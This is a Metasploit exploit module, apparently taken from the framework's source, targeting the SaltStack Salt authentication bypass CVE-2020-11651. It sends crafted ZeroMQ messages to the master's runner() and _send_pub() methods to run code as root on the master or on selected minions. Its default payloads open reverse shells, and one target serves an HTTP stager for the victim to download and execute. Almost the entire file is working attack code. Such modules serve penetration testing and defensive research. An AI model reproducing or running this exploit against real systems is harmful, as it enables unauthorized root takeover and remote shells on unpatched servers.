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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::ZeroMQ
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  include Msf::Exploit::Remote::CheckModule
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  include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
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        'Description' => %q{
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          This module exploits unauthenticated access to the runner() and
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          _send_pub() methods in the SaltStack Salt master's ZeroMQ request
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          server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
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          execute code as root on either the master or on select minions.
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          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
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          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
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          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
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          1.3, 1.5, and 1.6 in certain configurations, are known to be affected
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          by the Salt vulnerabilities.
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          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
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          well as Vulhub's Docker image.
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        },
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        'Author' => [
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          'F-Secure', # Discovery
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          'wvu' # Module
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        ],
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        'References' => [
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          ['CVE', '2020-11651'], # Auth bypass (used by this module)
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          ['CVE', '2020-11652'], # Authed directory traversals (not used here)
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          ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
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          ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
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          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
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          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
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          ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
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        ],
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        'DisclosureDate' => '2020-04-30', # F-Secure advisory
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        'License' => MSF_LICENSE,
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        'Platform' => ['python', 'unix'],
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        'Arch' => [ARCH_PYTHON, ARCH_CMD],
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        'Privileged' => true,
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        'Targets' => [
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          [
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            'Master (Python payload)',
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            {
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              'Description' => 'Executing Python payload on the master',
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              'Platform' => 'python',
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              'Arch' => ARCH_PYTHON,
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              'Type' => :python,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'python/meterpreter/reverse_https'
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              }
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            }
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          ],
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          [
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            'Master (Unix command)',
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            {
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              'Description' => 'Executing Unix command on the master',
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
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              }
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            }
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          ],
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          [
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            'Minions (Python payload)',
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            {
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              'Description' => 'Executing Python payload on the minions',
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              'Platform' => 'python',
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              'Arch' => ARCH_PYTHON,
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              'Type' => :python,
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              'DefaultOptions' => {
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                'PAYLOAD' => 'python/meterpreter/reverse_https'
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              }
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            }
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          ],
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          [
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            'Minions (Unix command)',
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            {
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              'Description' => 'Executing Unix command on the minions',
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd,
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              'DefaultOptions' => {
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                # cmd/unix/reverse_python_ssl crashes in this target
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                'PAYLOAD' => 'cmd/unix/reverse_python'
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              }
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            }
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          ]
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        ],
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        'DefaultTarget' => 0, # Defaults to master for safety
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        'DefaultOptions' => {
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          'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
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        },
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        'Notes' => {
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          'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(4506),
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      OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
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      OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
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    ])
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    register_advanced_options([
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      OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
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    ])
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  end
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  # NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key
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  def exploit
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    if target.name.start_with?('Master')
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      if (root_key = datastore['ROOT_KEY'])
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        print_status("User-specified root key: #{root_key}")
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      else
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        # check.reason is from auxiliary/gather/saltstack_salt_root_key
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        root_key = check.reason
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      end
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      unless root_key
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        fail_with(Failure::BadConfig,
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                  "#{target['Description']} requires a root key")
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      end
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    end
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    # These are from Msf::Exploit::Remote::ZeroMQ
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    zmq_connect
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    zmq_negotiate
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    print_status("#{target['Description']}: #{datastore['PAYLOAD']}")
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    case target.name
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    when /^Master/
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      yeet_runner(root_key)
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    when /^Minions/
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      yeet_send_pub
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    end
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    # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
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    sleep(wfs_delay)
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  rescue EOFError, Rex::ConnectionError => e
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    print_error("#{e.class}: #{e.message}")
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  ensure
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    # This is from Msf::Exploit::Remote::ZeroMQ
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    zmq_disconnect
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  end
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  def yeet_runner(root_key)
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    print_status("Yeeting runner() at #{peer}")
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    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
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    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
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    runner = {
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      'cmd' => 'runner',
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      # https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
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      'fun' => 'salt.cmd',
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      'kwarg' => {
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        'hide_output' => true,
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        'ignore_retcode' => true,
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        'output_loglevel' => 'quiet'
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      },
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      'user' => 'root', # This is NOT the Unix user!
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      'key' => root_key # No JID needed, only the root key!
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    }
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    case target['Type']
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    when :python
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      vprint_status("Executing Python code: #{payload.encoded}")
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      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
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      runner['kwarg'].merge!(
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        'fun' => 'cmd.exec_code',
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        'lang' => payload.arch.first,
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        'code' => payload.encoded
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      )
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    when :unix_cmd
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      # HTTPS doesn't appear to be supported by the server :(
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      print_status("Serving intermediate stager over HTTP: #{cmdstager_start_service}")
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      vprint_status("Executing Unix command: #{payload.encoded}")
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      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
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      runner['kwarg'].merge!(
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        # cmd.run doesn't work due to a missing argument error, so we use this
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        'fun' => 'cmd.script',
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        'source' => get_uri,
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        'stdin' => payload.encoded
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      )
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    end
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    vprint_status("Unserialized clear load: #{runner}")
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    zmq_send_message(serialize_clear_load(runner))
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    unless (res = sock.get_once)
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      fail_with(Failure::Unknown, 'Did not receive runner() response')
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    end
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    vprint_good("Received runner() response: #{res.inspect}")
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  end
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  def yeet_send_pub
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    print_status("Yeeting _send_pub() at #{peer}")
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    # NOTE: A unique JID (job ID) is needed for every published job
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    jid = generate_jid
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    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
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    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
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    send_pub = {
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      'cmd' => '_send_pub',
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      'kwargs' => {
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        'bg' => true,
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        'hide_output' => true,
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        'ignore_retcode' => true,
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        'output_loglevel' => 'quiet',
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        'show_jid' => false,
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        'show_timeout' => false
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      },
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      'user' => 'root', # This is NOT the Unix user!
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      'tgt' => datastore['MINIONS'],
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      'tgt_type' => 'pcre',
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      'jid' => jid
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    }
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    case target['Type']
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    when :python
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      vprint_status("Executing Python code: #{payload.encoded}")
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      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
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      send_pub.merge!(
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        'fun' => 'cmd.exec_code',
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        'arg' => [payload.arch.first, payload.encoded]
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      )
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    when :unix_cmd
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      vprint_status("Executing Unix command: #{payload.encoded}")
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      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
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      send_pub.merge!(
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        'fun' => 'cmd.run',
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        'arg' => [payload.encoded]
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      )
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    end
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    vprint_status("Unserialized clear load: #{send_pub}")
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    zmq_send_message(serialize_clear_load(send_pub))
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    unless (res = sock.get_once)
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      fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
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    end
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    vprint_good("Received _send_pub() response: #{res.inspect}")
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    # NOTE: This path will likely change between platforms and distros
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    register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
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  end
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  # https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
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  # https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
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  def generate_jid
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    DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
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  end
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  # HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
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  def stager_instance
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    nil
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  end
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  # HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
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  def exe
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    # NOTE: The shebang line is necessary in this case!
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    <<~SHELL
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      #!/bin/sh
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      /bin/sh
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    SHELL
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  end
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end
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